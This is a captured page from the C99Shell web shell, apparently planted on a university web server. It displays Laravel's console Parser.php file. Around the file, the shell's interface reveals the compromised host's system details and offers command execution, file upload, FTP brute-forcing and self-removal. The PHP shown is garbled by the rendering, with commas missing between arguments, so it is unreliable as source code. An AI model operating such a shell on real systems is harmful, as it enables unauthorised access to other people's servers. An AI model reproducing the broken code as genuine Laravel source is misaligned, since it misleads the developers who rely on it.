!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/laravel/framework/src/Illuminate/Console/   drwxr-xr-x
Free 116.5 GB of 200.55 GB (58.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Parser.php (4.14 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Console;

use 
Illuminate\Support\Str;
use 
InvalidArgumentException;
use 
Symfony\Component\Console\Input\InputOption;
use 
Symfony\Component\Console\Input\InputArgument;

class 
Parser
{
    
/**
     * Parse the given console command definition into an array.
     *
     * @param  string  $expression
     * @return array
     *
     * @throws \InvalidArgumentException
     */
    
public static function parse($expression)
    {
        if (
trim($expression) === '') {
            throw new 
InvalidArgumentException('Console command definition is empty.');
        }

        
preg_match('/[^\s]+/'$expression$matches);

        if (isset(
$matches[0])) {
            
$name $matches[0];
        } else {
            throw new 
InvalidArgumentException('Unable to determine command name from signature.');
        }

        
preg_match_all('/\{\s*(.*?)\s*\}/'$expression$matches);

        
$tokens = isset($matches[1]) ? $matches[1] : [];

        if (
count($tokens)) {
            return 
array_merge([$name], static::parameters($tokens));
        }

        return [
$name, [], []];
    }

    
/**
     * Extract all of the parameters from the tokens.
     *
     * @param  array  $tokens
     * @return array
     */
    
protected static function parameters(array $tokens)
    {
        
$arguments = [];

        
$options = [];

        foreach (
$tokens as $token) {
            if (! 
Str::startsWith($token'--')) {
                
$arguments[] = static::parseArgument($token);
            } else {
                
$options[] = static::parseOption(ltrim($token'-'));
            }
        }

        return [
$arguments$options];
    }

    
/**
     * Parse an argument expression.
     *
     * @param  string  $token
     * @return \Symfony\Component\Console\Input\InputArgument
     */
    
protected static function parseArgument($token)
    {
        
$description null;

        if (
Str::contains($token' : ')) {
            list(
$token$description) = explode(' : '$token2);

            
$token trim($token);

            
$description trim($description);
        }

        switch (
true) {
            case 
Str::endsWith($token'?*'):
                return new 
InputArgument(trim($token'?*'), InputArgument::IS_ARRAY$description);
            case 
Str::endsWith($token'*'):
                return new 
InputArgument(trim($token'*'), InputArgument::IS_ARRAY InputArgument::REQUIRED$description);
            case 
Str::endsWith($token'?'):
                return new 
InputArgument(trim($token'?'), InputArgument::OPTIONAL$description);
            case 
preg_match('/(.+)\=(.+)/'$token$matches):
                return new 
InputArgument($matches[1], InputArgument::OPTIONAL$description$matches[2]);
            default:
                return new 
InputArgument($tokenInputArgument::REQUIRED$description);
        }
    }

    
/**
     * Parse an option expression.
     *
     * @param  string  $token
     * @return \Symfony\Component\Console\Input\InputOption
     */
    
protected static function parseOption($token)
    {
        
$description null;

        if (
Str::contains($token' : ')) {
            list(
$token$description) = explode(' : '$token);
            
$token trim($token);
            
$description trim($description);
        }

        
$shortcut null;

        
$matches preg_split('/\s*\|\s*/'$token2);

        if (isset(
$matches[1])) {
            
$shortcut $matches[0];
            
$token $matches[1];
        }

        switch (
true) {
            case 
Str::endsWith($token'='):
                return new 
InputOption(trim($token'='), $shortcutInputOption::VALUE_OPTIONAL$description);
            case 
Str::endsWith($token'=*'):
                return new 
InputOption(trim($token'=*'), $shortcutInputOption::VALUE_OPTIONAL InputOption::VALUE_IS_ARRAY$description);
            case 
preg_match('/(.+)\=(.+)/'$token$matches):
                return new 
InputOption($matches[1], $shortcutInputOption::VALUE_OPTIONAL$description$matches[2]);
            default:
                return new 
InputOption($token$shortcutInputOption::VALUE_NONE$description);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0291 ]--